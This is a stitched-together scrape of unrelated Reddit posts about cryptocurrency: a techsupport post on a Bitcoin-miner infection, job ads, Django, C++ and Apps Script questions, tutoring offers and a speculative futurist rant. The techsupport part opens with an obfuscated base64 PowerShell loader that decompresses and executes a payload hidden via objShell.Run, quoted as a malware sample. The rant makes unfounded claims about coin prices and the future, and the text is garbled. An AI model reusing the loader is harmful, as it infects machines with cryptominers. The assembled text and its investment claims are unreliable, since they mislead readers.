"eQBwAC8ASwA1AGYAegBYAEkATwBMAEIAZQBaAEgAcwBuADAAVgB1AHkAcwB3AEMAQQBVAGsATwBlAHMASQBGAHkAYwBXADUASwB3AHQAWgAxAEoAVAAvAC8AcABMADEAYQBkAFgAeABWAG0AdQAvAGkAWABHAFAATgBKAFUAYQB4ADkASgA2AHUAYwBJADUANgBxAHUAZgBOAE8AVABDADAAZgA3AEwAZABYAFUATABuAE4ARABFAFkAbQBsAHoARABrAHMASwBKAGQAeQA0ADEAVAA3AFgAcQBwADgAOQA2AEMANwBxAG0AZgBBAHQAcABEAEsATwBBAHkAVQBYADUAdQBZAHkARAB4AHcAYQBDAG8AcwBCADQAQQBNAE8AaQBDAG8ANgByAGwAVwA4AEMAZwAyAFYATABzAE0AWQBzADYAegB5AGkAZAB0AGUAbABSAG8ARwBB" & _ "AGUAUwArAFIAVABPAEoAUQAzAEYAMQBxAEwAaABJADMATgBwAGwARwB2AGkAZwBIAEEANgBwAE0AdQBaADEAcQBPADcARQB3ADUAdgBaAGQATABPAG0AWQBCAHEASQBFAE0AOQBlADMAVABmAFcAMwBUAHYAcABpADQAKwBpAEYAUAAxAGwAOQBxAGYAeABZAEUATwB6ADQAdABZADAARABQAGYATQBxADkARQBGAGEARwBjAGUAbABqAFMAdQBRAFQAbwB6ADgASQBxAGMAMwBFAHgAVABaAGMAVQA3AE4ARQBHAEkAbQBJAHAAMwAwAGUAbABrAEYAVwA2AG8AQQBTAFcASQB0AHoARAA1ACsAVQBvAGoASwBrACsAVQA2AGEASgA2ADYAYQB6ADIAZgBIAGEARQAyAGUAVQAvAGEAVwBnADQAbwBuAHIAeQBIAE4AdwA1AGsA" & _ "RwBQAGoAOAByAFUARgBvAHoATQBNAGgAZQBwAG4AOQBQAHoANQBHAEMAKwBpAEIAawBuAE4ARQB3AEkAZgBoADIANQBOAGIAcABrAEEAYQAzAHQAQQArAHcAegA5AHgAUwBjADIAbQB0AE8AbwAwAHQATwBVADAAQgB5AEoANwBJAGUASwBLAHEAcAB4AHcATgBLAGEAawBkADQAMQBBAFQAUgA2AFUAdQAyAHUAcwAvAGsAZAAxADcAagBvAEIAeAB5AHcAZgBFAFIAYQBBAFUAeABvAGYAKwBzAHoATQBHAEoAbQB0AG8ASwB1AHQAUQBIAEEAQQAvAGYASwBqAGgAcgBDAFMAbABCAFQAOQBUAEgATgBOAGkAZgBiAGsAKwArAGcAVQBpAHQAYwBoAHgARgBXAFcAVQBRAFEAMAA2ADYAVwBjAFcAaQBtAEYATwBTAFYAVgBB" & _ "AFEAcwBlAE0AUgBpAHEAVgBJAGwAKwBvAFAAZABiAHMAeABsADgAegBGAGsAVAB5AEoAbQArAG0AdgBRAEgAcQA4AHUAaQBxAEMAUwBJAGEAeABDACsANABGAEcARQBiAFcAbAByAG8ATQA4AHcAUwBWAHIATgBKAGsAaABCAHAANwBpADMAawBuAEYAZABSAFgATQBhAGwAaQB6AGwAbgBnAGcAYQBSAEgAOABBAG4AcwBKAEYAaABZAE0AZwBtAGEAawBHAFQALwBPADAARAAwAG4ARQBWAGwAeQA5ADkAeQA2AGcATgAxAFcAagBGAE0AagBqADIAbwBEADgAZQBVAFMAdQBNAE4AZQA1AFMAbwAvADYARAAyAEsAVgBFAE8AVwBaAEYAZwBkAFEATABwAFQARwBrAEkAQQBJAHMATABtAFYAVgBzAEYAawBxAG8AUQBXAHIA" & _ "MgBSAGUAVAA5AHAAbgBvAC8AbAA2AFMAZgA5AEsAeQBHADkATwBoAEoATABVADMARgBxAGIARwBYAFMAYwBLAGsAbABHADcAUwBDAFQANQArAEIAegBPAEYATABwAFEAQQBtAHgAawBLADMAOABBAFIAdgBhAGsAawBMAFMAUAB3AHQARAAvAHkAZgBkAFoARwA4AE4AeQAzAEEAdAA0AGwANwBRADAAcgB0AG4AYgB3AGQAdQBFAGQAcwAzAEoATAAxAFAANABrAG4AOQB2AHIAWgByADcAcgBWAHEATgBCAHcANwB4AEYAYgBPAGYAdAAzAE4AcwBlAGMAcABmAHMAMQBtAHgAUABnAE8ANgBPAEYAVgBxADMAaQBGAFEANwBkADAAMQBtADcAcAByAEQAegA0AGcAWQBzAE8AZgBkAHMANgBMAG4ASQBUAEoAWQBEACsAcAAr" & _ "AHAAOQBlAEsAagBPAEoAUgB6AG8ASABmAHIAVgBTAGEAawB3AEkAcQBsAHkAdgA5AGMAbQBGAEQAYQBEAHUAaAAzAHkARABTADgAOQBuAHUAcQBRAE4AcgBxAEsAMwA5AGoAZwBGADgAaABSAGEAdgB0ADYAdgBEAGgAVgBNAHkASAB4AHoAZQB6AEYAZgBNADEAZABJAFIAawBYAFYAVABlAFMAQwA0AGMAYwAwAEoATQBnAFEAcAA4AFIAagBiAFEAegBGAHEAdQByADYAUgB6ADkAcwAzAHIAYwBRAHEAbwA3AGMAbwBiADcAZQBMAHgAdABPAHEAOAAzAHcAWABkADYAdABJADMASgBmAGUAUwA3AGQAaABGAHIARABUAGoAaAA1AEcAawBUAGUAeQBlACsAMgBoAGgAUwBxAGQATgBmAHEAegBaAFoATAB0AHcAaAA4ACsA" & _ "awBuAEwAWABHAC8ARQA3AHIAMgBkAFYAbgB2AHAANwBZACsAegA2AGYAUABQAGcAWABCAGQAUwBHAGIAWABJAHMANQB4AHIAZgAxAEUAMABWAHEAVABoAHgAVgAxAHIAZwB4AHgAegBkAGYAKwA3AEwAegBJADMAVAAvAGsAaQBtAGQAaABGAE0AcwBTADEAcgBVAFAAeABNAGwAKwBrAC8AaQBpAHgAdwBuAGwAdQB0AHMAZQAyACsAUQBVAFYAegBTAEgAdQBSAEEAYgBZAE4AUgBvADMAVgBoAFAAMgBrAEcALwBrADMAegB2AHQAMwBUAHQANQA0ADQAeQBhADEAdABqADMAVQBQAGQATAB0AFQANwBtAGIAVwB0AHMAdAArADkAdwBYADkAcQBkADkAVwBPACsAZQBCADgAMABjAEEAcwA5AEkAMQBSAHQAVgB4AHEAaQBQ" & _ "AG0ANgBJAHAAZQAyAHYAaQBzAFAAdABEAGYAQwBQAFQALwBjADYAdQBGAHAAbwBOAEoAbwBKAC8AUQBTAFIAdQB2AGUAVQByADAAeABLAEIARgBuAHQAZAB6AFIAcQA0ADgAKwBoAFcAZQBIAGwAUgBKAGEAQgA2ACsAUABWAEIASAB4AFoASABEAFgAegBkAGsAawAwAHgALwBiAEQASABlADYAUQBTAFEAVQBCADcAKwBJAFcAZABYAFkASQA5AFYAMQBTAE4ARgByAEIALwBVADEARgBQAE8AWABmAFIAZgBaAE4ASQBSAEQAZQBNAHAALwBQADcAOQAvAGIAZgBjAGYAZQBnAGcAMwBpAHQAdQBNAHcAKwB6AEYAdgA0ADQAMABoAEUARgBpAEYARwBoADUAQwBkAFkAVABzADAAdQBwACsAYQB3ADQANAAyAEQAWQBhAEYA" & _ "LwB2AHQANgB5AEkAUgBxAEEAcgBuAFoAcwAvAEIAeABtAGUASAAwAGMANQBCAHgAMgA2AHAAWQArAHkAYQB0AFoAVgByAEYASwAvAHQAZABlADMARwBLAE0ATQBGADcAdwB1ADQAWQBUADgALwBPAEwAMABpACsASwAxAEEASABYAE4AOQBYADcASwBmADMAZgAzADEAZQBsAEUAcQBvAEQAOABnAHIAUwA0AHkAYQBaAFkAcwA0AHUAWAB5AFUAUAB2AC8AUgA5AFAAdAA0AGoAQgBhAFkAUQA3ADUAQQA0ADMAegBWAFAAVgBNAEUAWgByAEgAOQBqAGMAUQBMAE8ASABRAHQATgBlAEgAcQB3ADAATgBBADgAcABoADgASQBEAFIANQBGAFEAcgBFAE8AZgBDAFQAUgByADIATAB6AG8AbgBqAEEAKwBIAHAAagA2AEQAbQBq" & _ "AGkARwBaAGIAbgAwADYAawBwAFgAdgBoAFAAcQBQADcAcgA0AGEAZQB2AEQAaAB3AGMAdwA1AEYAaQBFAGsAcQBLAFEANgA5AEQAQQBrADYAdABzADQAYQBsAGMASwBFAEQAcgBMAFQAeABWAEMAbgByAG0ANwBmAFoAWAB4AFgAYQB2AGYAWgBlAFcAVABiAHIAMwBHAFoAVABuAEYALwBIADAASQBqADEAegBnAEgAbwBsAFYAMQBDAHYAeQBQADgAWgA2ADIATwBOAFQASwAvACsAOQAxAGoALwAyAFAAdQBIADAAegBmAGgAWAA4AGkAZQBnAC8AVABpADgATwBlAE4AZgArAE8ATwAzADQAZgBJAHcAVQB3AEMAcQB3AFcAOQBnAE4AUABEAE4AUABOAFcAcABJADQAQgBlAEQAWQA3AG4AbgBrAGEASQBtAHgANQBmAEoA" & _ "SgBSAHYAeAAvAEwAcQB4ADUATQBsAGgAbgAxAFUAeQBiAFQAVwBpAHAAbgBDAEUAWABzAEcAWQBaADgAKwBrAFcANQAxAFoATgA1AE0AWgBJADQAbABGAGQAcgBzAFkAQQAvAGcAcgBSAHQAYQBwAGQAWQBWADEAcgAxAGkAWABLAEoAbABXAC8ASwBGAFkAQwBDAG8AbgBJAEoAZgBnAHQAQwBMADAANQA2AHEASABMADQAeQAvAG0AcQA3AE0AQwBVAGwAUABHAHIATQBxAFEAdQBoAGQASAAzAHEAaQAwAFcAMABCAHMAcABqAEUASwBKADYARgBSAEkAUQBnAHgANwAvAHcARQA5AHUAOQBuADgATgBnADAAQQBBAEEAPQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBl" & _ "AGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA" objShell.Run pscm,0 
The directory contains following files:
libeay32.dll, ssleay32.dll (OpenSSL stuffs) Recorded TV.library-ms (what?) svhost.dll vc_redist.x64.exe WindowsDefender.vbs wsappx.exe wsappx.z01 wsappx.zip zlib.dll 
Closing summary: the file is malware, it installs Bitcoin Miner as wsappx.exe (which is also a startup program), and it seems all the files in this directory is required to run these. It installs 2 registry keys according to Malwarebytes. Just delete the dir in question and delete two registry keys.
submitted by skyhi14 to techsupport [link] [comments]

This is cool..

No Rest Labs is looking for projects to contribute our skills to. We are a growing international team of over 40+ blockchain and smart contract engineers. Formed over 6 years ago, with an average of 8 years of computer science experience and 3 years blockchain experience, we are hungry for the next project to make successful. We look to build projects from the ground up or come into an existing project that may need professional help which falls into our services or expertise. We would be excited to hear everyone's ideas and to see if we would be a good fit for collaboration, So please take a look at our website to see past and present projects and contact us.
Skilled inside Blockchain - ICO's, KYC, Exchanges, Wallets and Protocols
Skilled outside - Web apps, Mobile, API's, Machine Learning and Embedded
Diversely skilled team Across Multiple Languages (and frameworks)
JavaScript (Node/React/Angular) Python (Django/AppEngine) Serpent Ruby (Rails) C/C++ (ARM) Golang Java (EE/Spring/Android) ObjC/Swift/React Native (iOS/Android) Solidity (DAPP Tools/Truffle) PHP (Laravel/Symphony) C# (.NET)
Across Technologies AWS/GCE SQL (MySQL/Postgres/MariaDB/SQL Server) Redis Neo4j VR & AI SPARQL Databases (TDB/Fuseki) Firebase Cassandra BigChainDB Machine Learning
Across Blockchains Bitcoin Ethereum / ERC20 Hyperledger Litecoin NEO Stellar EOS ICON
Services Blockchain Product Development and Support
Smart Contract Development ICOs KYC/Tokensale Registration Blockchain Integration Wallets Backend Development Blockchain/Protocol Development Decentralized/Centralized Exchanges SDKs / API’s DevOps Web/Mobile Development Layer2/Infrastructure/Dapps
Contact information: email: [email protected] telegram: @norestlabs linkedin: https://www.linkedin.com/in/mariya-leshchenko/
ALSO, BE SURE TO CHECK OUT OUR OPEN SOURCE TOOLKIT
submitted by NoRestLabs to blockchainJobs [link] [comments]

RELENTLESS BLOCKCHAIN INNOVATION

No Rest Labs is looking for projects to contribute our skills to. We are a growing international team of over 40+ blockchain and smart contract engineers. Formed over 6 years ago, with an average of 8 years of computer science experience and 3 years blockchain experience, we are hungry for the next project to make successful. We look to build projects from the ground up or come into an existing project that may need professional help which falls into our services or expertise. We would be excited to hear everyone's ideas and to see if we would be a good fit for collaboration, So please take a look at our website to see past and present projects and contact us.
Skilled inside Blockchain - ICO's, KYC, Exchanges, Wallets and Protocols
Skilled outside - Web apps, Mobile, API's, Machine Learning and Embedded
Diversely skilled team Across Multiple Languages (and frameworks)
JavaScript (Node/React/Angular) Python (Django/AppEngine) Serpent Ruby (Rails) C/C++ (ARM) Golang Java (EE/Spring/Android) ObjC/Swift/React Native (iOS/Android) Solidity (DAPP Tools/Truffle) PHP (Laravel/Symphony) C# (.NET)
Across Technologies AWS/GCE SQL (MySQL/Postgres/MariaDB/SQL Server) Redis Neo4j VR & AI SPARQL Databases (TDB/Fuseki) Firebase Cassandra BigChainDB Machine Learning
Across Blockchains Bitcoin Ethereum / ERC20 Hyperledger Litecoin NEO Stellar EOS ICON
Services Blockchain Product Development and Support
Smart Contract Development ICOs KYC/Tokensale Registration Blockchain Integration Wallets Backend Development Blockchain/Protocol Development Decentralized/Centralized Exchanges SDKs / API’s DevOps Web/Mobile Development Layer2/Infrastructure/Dapps
Contact information: email: [email protected] telegram: @norestlabs linkedin: https://www.linkedin.com/in/mariya-leshchenko/
ALSO, BE SURE TO CHECK OUT OUR OPEN SOURCE TOOLKIT
submitted by NoRestLabs to CryptoJobsList [link] [comments]

Django: Help understanding this ForeignKey constraint error

I'm getting a foreignkey constraint when I press submit on my form. This model doesn't work how I expect it to so I'd like to understand.
I expected that making Portfolio.coin a ForeignKey field would allow me to insert any coin into a portfolio. A portfolio should be unique by user (so one portfolio per user). So user1.bitcoin and user2.bitcoin and user3.bitcoin are separate instances of portfolio.coin if that makes sense.
I did think about simply making portfolio.coin a CharField with unique true, since the coin options in the form are restricted to options that exist in the Coin database anyway. But wouldn't it be best practice to have the 2 tables linked with the foreignkey acting as a ManyToOne field here? I'm still fairly new to Django and struggling to conceptualise the underlying SQL of models here.
forms.py
class CoinForm(forms.ModelForm): coin = forms.ModelChoiceField(queryset = Coin.objects.all()) amount = forms.IntegerField() trade_price = forms.DecimalField(decimal_places = 2) class Meta: model = Portfolio fields = {'coin', 'amount', 'trade_price'} exclude = ['user'] 
Models (note Portfolio.coin):
from django.contrib.auth.models import User class Coin(models.Model): coin = models.CharField(max_length = 64, unique = True) symbol = models.CharField(max_length = 8) image = models.ImageField(default = "default_image.png") def __str__(self): return self.coin class Portfolio(models.Model): user = models.OneToOneField(User, on_delete = models.CASCADE) coin = models.ForeignKey(Coin, on_delete = models.CASCADE) amount = models.DecimalField(max_digits = 8, decimal_places = 0) trade_price = models.DecimalField(max_digits = 7, decimal_places = 0) last_updated = models.DateTimeField(auto_now = True) def __str__(self): return self.coin.coin 
views.py
form = CoinForm() if request.method == 'POST': # if coin exists in portfolio update else insert form = CoinForm(request.POST) obj = form.save(commit = False) obj.user = request.user obj.save() #return index(request) else: print(form.errors) 
submitted by Python_Skillset to learnpython [link] [comments]

Block Explorer - tx search based on output amount?

is there a block explorer where I can search for a specific output amount over a range of blocks in a convenient way?
thanks in advance
submitted by vnnkl to Bitcoin [link] [comments]

question bout executables created, backward compatible write code?

Hi, im just beginning to learn C++, mainly learning from books and tutorial videos. I would like to ask noob question about cpp. I've been trying to manipulate cpp code of blockchain such as litecoin from github, but at the src folders, there are multiple cpp files. From this video I understand that compiler will compile multiple cpp file to obj. Then, the linker will attach multiple of those obj to single executable file, but where is the main source of cpp file it will look at when it tries to construct the executable file (since theres no main.cpp?).
Next, if i were to manipulate older cpp code (like early bitcoin code created 2009), is it possible for me to use C++11 & 14? Does the compiler has backward compatibility for me to add on certain newer function/features and then it auto translate my code to match early C++ version? Or I need to learn C++98 and code in that?
Also from the github src folder above, there are multiple .cpp and .h files. But does the header file (.h) purpose is only to write separate function and then include it in the .cpp file? Because the compiler will only .cpp not the .h right?
submitted by hossein4 to cpp_questions [link] [comments]

updating a .gs to retrieve CoinMarketCap data following their transition to new API

Hi, I have been using the following simple .gs to pull CoinMarketCap prices but it is broken now with their migration to their new API. I believe the issue lies with "function getCoins()" but I'm not sure how to proceed given CoinMarketCap's guide here: https://coinmarketcap.com/api/documentation/v1/#section/Quick-Start-Guide
var queryString = Math.random();
var ss = SpreadsheetApp.getActiveSpreadsheet(); var ssRates = ss.getSheetByName('Rates'); if (ssRates === null) { ssRates = ss.insertSheet('Rates'); }
var targetCurrency = 'usd'
// Grabs all CoinMarketCap data if (typeof targetCurrency == 'undefined' || targetCurrency == '') {targetCurrency = 'usd'}; var coins = getCoins();
function getCryptoData() {
// Use the value in the 'id' field here: https://api.coinmarketcap.com/v1/ticke?limit=0 // If you're getting errors, you may be using the wrong 'id'
var myCoins = [ '0x', 'adelphoi', 'adx-net', 'aeternity', 'aion', 'aigang', 'airswap', 'appcoins', 'aeron', 'aragon', 'ardor', 'ark', 'aurora-dao', 'banyan-network', 'bitclave', 'bancor', 'basic-attention-token', 'binance-coin', 'bitcoin', 'bitcoin-cash', 'bitcoin-god', 'bitcoin-gold', 'bitcoin-interest', 'bitcoin-token', 'bitcoin-private', 'bitcoinx', 'bitcore', 'bitdegree', 'bitsend', 'bitshares', 'block-array', 'blockmason', 'bytecoin-bcn', 'c20', 'canyacoin', 'cardano', 'chatcoin', 'cheesecoin', 'cindicator', 'civic', 'cofound-it', 'counterparty', 'coss', 'cpchain', 'cybermiles', 'dash', 'datum', 'decred', 'digibyte', 'digixdao', 'district0x', 'dogecoin', 'dragonchain', 'edgeless', 'enjin-coin', 'eboostcoin', 'enjin-coin', 'eos', 'eosdac', 'ethereum-classic', 'ethereum', 'ethlend', 'everex', 'factom', 'filecoin', 'funfair', 'gas', 'gnosis-gno', 'golem-network-tokens', 'groestlcoin', 'guppy', 'havven', 'huobi-token', 'icon', 'iconomi', 'ignis', 'invictus-hyperion-fund', 'iostoken', 'iot-chain', 'iota', 'internet-of-people', 'ixledger', 'kucoin-shares', 'kyber-network', 'legolas-exchange', 'library-credit', 'litecoin', 'lightning-bitcoin', 'maker', 'medical-chain', 'mercury', 'metronome', 'monero', 'nano', 'neo', 'newton-coin-project', 'nexus', 'oax', 'omisego', 'omni', 'odyssey', 'origintrail', 'patientory', 'pivx', 'phore', 'polymath-network', 'power-ledger', 'qash', 'qtum', 'quantstamp', 'raiden-network-token', 'ravencoin', 'rchain', 'reddcoin', 'republic-protocol', 'rialto', 'ripio-credit-network', 'ripple', 'rise', 'rlc', 'salt', 'semux', 'siacoin', 'singulardtv', 'snovio', 'solaris', 'spreadcoin', 'steem', 'stellar', 'storj', 'stratis', 'streamr-datacoin', 'suncontract', 'syscoin', 'telcoin', 'tenx', 'tezos', 'theta-token', 'time-new-bank', 'tron', 'turtlecoin', 'ubiq', 'ultranote-coin', 'vechain', 'verge', 'veriumreserve', 'vertcoin', 'viacoin', 'vibe', 'viberate', 'vinchain', 'wabi', 'waves', 'wax', 'worldcore', 'zcash', 'zclassic', 'zcoin', 'zencash', ]
ssRates.getRange('A1').setValue("ID"); ssRates.getRange('B1').setValue("Symbol"); ssRates.getRange('C1').setValue("Price USD"); ssRates.getRange('D1').setValue("Price BTC");
var myCoinsObj = {}; var myCoinsCount = myCoins.length; for (var i = 0; i < myCoinsCount; i++) { var c = i+2; var n = 0; while (coins[n]['id'] !== myCoins[i]) { n++; }
myCoinsObj[coins[n]['id']] = coins[n]; ssRates.getRange('A'+(c).toString()).setValue(myCoinsObj[myCoins[i]]['id']); ssRates.getRange('B'+(c).toString()).setValue(myCoinsObj[myCoins[i]]['symbol']); ssRates.getRange('C'+(c).toString()).setValue(myCoinsObj[myCoins[i]]['price_usd']); ssRates.getRange('D'+(c).toString()).setValue(myCoinsObj[myCoins[i]]['price_btc']); 
}
// ================================= // // WALLET BALANCE CONFIGURATION // // =================================
// ===== Wallet Sheet Creator ======================================== // Uncomment the lines of code below // It will create the Wallets sheet for you // If using the Wallets sheet ALWAYS leave it uncommented // ===================================================================
//var ssWallets = activeSpreadsheet.getSheetByName('Wallets'); //if (ssWallets === null) {ssWallets = activeSpreadsheet.insertSheet('Wallets');}
// ===== BCH Wallet Balances ========================================= // Uncomment the lines of code below // Set the variable by pasting your Address inside of the ("") // Change getRange('A1') and getRange('B1') to match the row you want // ===================================================================
//var bchWallet = getBchBalance("Your BCH Address"); //ssWallets.getRange('A1').setValue("BCH Wallet"); //ssWallets.getRange('B1').setValue(bchWallet);
// ===== BTC Wallet Balances ========================================= // Uncomment the lines of code below // Set the variable by pasting your Address inside of the ("") // Change getRange('A2') and getRange('B2') to match the row you want // ===================================================================
//var btcWallet = getBtcBalance("Your BTC Address"); //ssWallets.getRange('A2').setValue("BTC Wallet"); //ssWallets.getRange('B2').setValue(btcWallet);
// ===== Ethereum Wallet Balances ==================================== // Create an account on Etherscan.io // Create an API key at https://etherscan.io/myapikey // Uncomment the lines of code below // Set the API key variable by pasting your API key inside of the ("") // Set the address variable by pasting your Address inside of the ("") // Change getRange('A3') and getRange('B3') to match the row you want // ===================================================================
//var ethApiKey = "Your Etherscan API Key"; //var ethWallet = getEthBalance(ethApiKey,"Your ETH Address"); //ssWallets.getRange('A3').setValue("ETH Wallet"); //ssWallets.getRange('B3').setValue(ethWallet);
// ===== DGB wallet balances ========================================= // Uncomment the lines of code below // Set the variable by pasting your Address inside of the ("") // Change getRange('A4') and getRange('B4') to match the row you want // ===================================================================
//var dgbWallet = getDgbBalance("Your DGB Address"); //ssWallets.getRange('A4').setValue("DGB Wallet"); //ssWallets.getRange('B4').setValue(dgbWallet);
// ===== LTC wallet balances ========================================= // Uncomment the lines of code below // Set the variable by pasting your Address inside of the ("") // Change getRange('A5') and getRange('B5') to match the row you want // ===================================================================
//var ltcWallet = getLtcBalance("Your LTC Address"); //ssWallets.getRange('A5').setValue("LTC Wallet"); //ssWallets.getRange('B5').setValue(ltcWallet);
// ===== VTC wallet balances ========================================= // Uncomment the lines of code below // Set the variable by pasting your Address inside of the ("") // Change getRange('A5') and getRange('B5') to match the row you want // ===================================================================
//var vtcWallet = getVtcBalance("Your VTC Address"); //ssWallets.getRange('A6').setValue("VTC Wallet"); //ssWallets.getRange('B6').setValue(vtcWallet); }
function onOpen() { var ss = SpreadsheetApp.getActiveSpreadsheet(); var menubuttons = [ {name: "clearRates", functionName: "clearRates"},{name: "getCryptoData", functionName: "getCryptoData"}]; ss.addMenu("crypto", menubuttons); }
function clearRates() { var sheet = SpreadsheetApp.getActive().getSheetByName('Rates'); sheet.getRange('A1:D1000').clearContent(); }
function getCoins() {
var url = 'https://api.coinmarketcap.com/v1/ticke?limit=0&convert='+targetCurrency; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var json = response.getContentText(); var data = JSON.parse(json);
return data; }
function getBchBalance(bchAddress) {
var url = 'https://bitcoincash.blockexplorer.com/api/add'+bchAddress+'/balance'; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var balance = response.getContentText(); //Pause to not trigger API limit for multiple wallets Utilities.sleep(300);
return balance * Math.pow(10,-8); }
function getBtcBalance(btcAddress) {
var url = 'https://blockexplorer.com/api/add'+btcAddress+'/balance'; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var balance = response.getContentText(); //Pause to not trigger API limit for multiple wallets Utilities.sleep(300);
return balance * Math.pow(10,-8); }
function getEthBalance(ethApiKey,ethAddress) {
var url = 'https://api.etherscan.io/api?module=account&action=balance&address='+ethAddress+'&tag=latest&apikey='+ethApiKey; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var json = response.getContentText(); var obj = JSON.parse(json); var balance = obj.result; //Pause to not trigger API limit for multiple wallets Utilities.sleep(300);
return balance * Math.pow(10,-18); }
function getDgbBalance(dgbAddress) {
var url = 'https://chainz.cryptoid.info/dgb/api.dws?q=getbalance&a='+dgbAddress; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var balance = response.getContentText(); //Pause to not trigger API limit for multiple wallets Utilities.sleep(300);
return balance; }
function getLtcBalance(ltcAddress) {
var url = 'https://chainz.cryptoid.info/ltc/api.dws?q=getbalance&a='+ltcAddress; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var balance = response.getContentText(); //Pause to not trigger API limit for multiple wallets Utilities.sleep(300);
return balance; }
function getVtcBalance(vtcAddress) {
var url = 'http://explorer.vertcoin.info/ext/getbalance/'+vtcAddress; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var balance = response.getContentText(); //Pause to not trigger API limit for multiple wallets Utilities.sleep(300);
return balance; }
// USE AT YOUR OWN RISK function getRate(currencyId) {
if (typeof targetCurrency !== 'undefined') {conversionRate = 'usd'};
var url = 'https://api.coinmarketcap.com/v1/ticke' + currencyId + '/?convert=' + targetCurrency; var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var json = response.getContentText(); var data = JSON.parse(json); var obj = parseFloat(data[0]['price_' + targetCurrency]);
return obj; }
function getWebRate(currencyId) { //Example Output: // '=IMPORTXML("https://coinmarketcap.com/currencies/zeeyx?3908288283","//span[@id=\'quote_price\']")';
var coinScrape1 = '=IMPORTXML("https://coinmarketcap.com/currencies/'; var coinScrape2 = '","//span[@id=\'quote_price\']")';
return coinScrape1 + currencyId + '?' + queryString + coinScrape2; }
function getCurrencyConversion(currencyOne, currencyTwo) {
var url = 'https://api.fixer.io/latest?symbols='+currencyOne.toUpperCase()+','+currencyTwo.toUpperCase(); var response = UrlFetchApp.fetch(url, {'muteHttpExceptions': true}); var json = response.getContentText(); var data = JSON.parse(json);
return parseFloat(data['rates'][currencyTwo]); }
submitted by neekolas86 to GoogleAppsScript [link] [comments]

Some expanded thoughts on current crypto, since I have gotten a lot of requests for what I think about XYZ.

The best buys today are QLC DBC XRP TRX & Iota. Together the 1-5 year from now world will be approaching a type 1 civilization, with global decentralized everything.
Computers will be 8x better for the same price, opening up new applications and strengthening eth dapps like golem and augur.
VR will be in 2nd and 3rd generation. Self driving cars will make 10% to 20% of global fleet.
Most jobs under 50k will be automated. The new economy will increasingly rely on invention and entertainment, as only new content and content producers will have incomes.
Universal basic income will begin replacing traditional welfare like social security and food stamps and section 8, paying out either dollars or maybe even bitcoin or XRP.
3d printing will be nearly mature for the desktop, and you'll sell your whimsical redesigns and inventions as .obj files across the TRX marketplace.
Solar energy will bring the costs of automated processes and appliances and manufacturing to near zero, such as farming or most construction and all heating and cooling.
And scarcity will only exist in luxuries, such as jewelry, currency, leather, and appliances. Cars will be less than a dollar a day to own and maintain, self driving to you from a city sized pool on demand, communicating instructions between cars using IOTA blockchain across qlink network.
Phone minutes will be essentially free. Internet ISP will become obsolete, falling to decentralized 5g and 6g mesh networks quantized with QLC. Net neutrality will die as well, and censorship along with it.
On and on. There are more than a 1000 Elon Musk or Bill Gates types tackling problems as large as space colonization and mining, eradication of disease at a genetic level, general artificial intelligence, transhuman genetic therapy and life extension, nano tech you can't even dream, there are patents today making all of our Sci if dreams obsolete. Writers and philosophers can't keep up with the R&D labs.
Make no mistake. This is a singularity. Within 10 years we will be posthuman, if we aren't already. My exocortex is only a galaxy note 4, but with it I load Wikipedia and wolfram alpha and coin market cap and all of YouTube and Google into my brain memory through eyeball routers in seconds. In the future it will be close to instant. Then eventually the device won't even be in my hand.
I am closer to a cyborg than homo sapiens. . The first of my kind. The last of my kind.
submitted by fuck_reddit_suxx to u/fuck_reddit_suxx [link] [comments]

[For Hire] C/C++ tutor and programmer. If you are taking a Computer Science course, you may find my service useful.

References available upon request. I have already helped at least six different redditors, and from what I can tell all of them have found my service helpful.
If you can't afford it, no worries, you can still message me, and I will spend at least one hour with you on Skype for free! This way you can also test my expertise on these languages, and see whether I can be of help. Further, I don't take any prepayment, so your satisfaction is guaranteed. All for $15 an hour.
submitted by tau_of_programming to forhire [link] [comments]

[Hiring] iOS UX/UI, crypto app dev

looking for iOS développeur for 2 crypto/fintech/bitcoin apps. Good UI/UX skills a must. Swift and/or Obj-C.
submitted by HodlIndustries to Jobs4Bitcoins [link] [comments]

Bitcoin College - YouTube BITCOIN - 2020 Inizio Positivo o Dump Imminente? Oro e Argento Pump! Repaso Diario Bitcoin (BTC) CONFIRMA HCH INVERTIDO! Obj 12k [+ Lanzamiento de Ethfinex] ₿ITCOIN CAINDO? How To Deposit & Upgrade Using Bitcoins

Introduction. In this tutorial, I will guide you through experimenting with GnuPG and raw bitcoin transactions based on my own experience. We will demonstrate how to derive a bitcoin address from a PGP public key, create a bitcoin transaction, sign it with a corresponding private key and finally broadcast it to the network. Bitcoin has been called crypto-currency, Internet cash and – in the words of Wall Street analyst Nick Colas – “gold for nerds.” By Kyle McInnes. Now, the virtual medium of exchange is making a real-world appearance in the ByWard Market with the help of an Ottawa startup, marking the beginning of what could be a burgeoning Bitcoin market in the nation’s capital. Bitcoin industry disputes Finance Department memo about potential criminal activity Aug 1, 2014 Fears that Bitcoins will become a currency of choice for shady transactions are overblown, the co-founder of Ottawa-based BitAccess said Friday, responding to a recently released Finance De 439 Bitcoin 3d models are waiting for you. Download or buy, then render or print from the shops or marketplaces. 3D Models below are suitable not only for printing but also for any computer graphics like CG, VFX, Animation, or even CAD. Bitcoin 3D models for download, files in 3ds, max, c4d, maya, blend, obj, fbx with low poly, animated, rigged, game, and VR options.

[index] [9545] [20107] [721] [1070] [31084] [22411] [7279] [9038] [5835] [9345]

Bitcoin College - YouTube

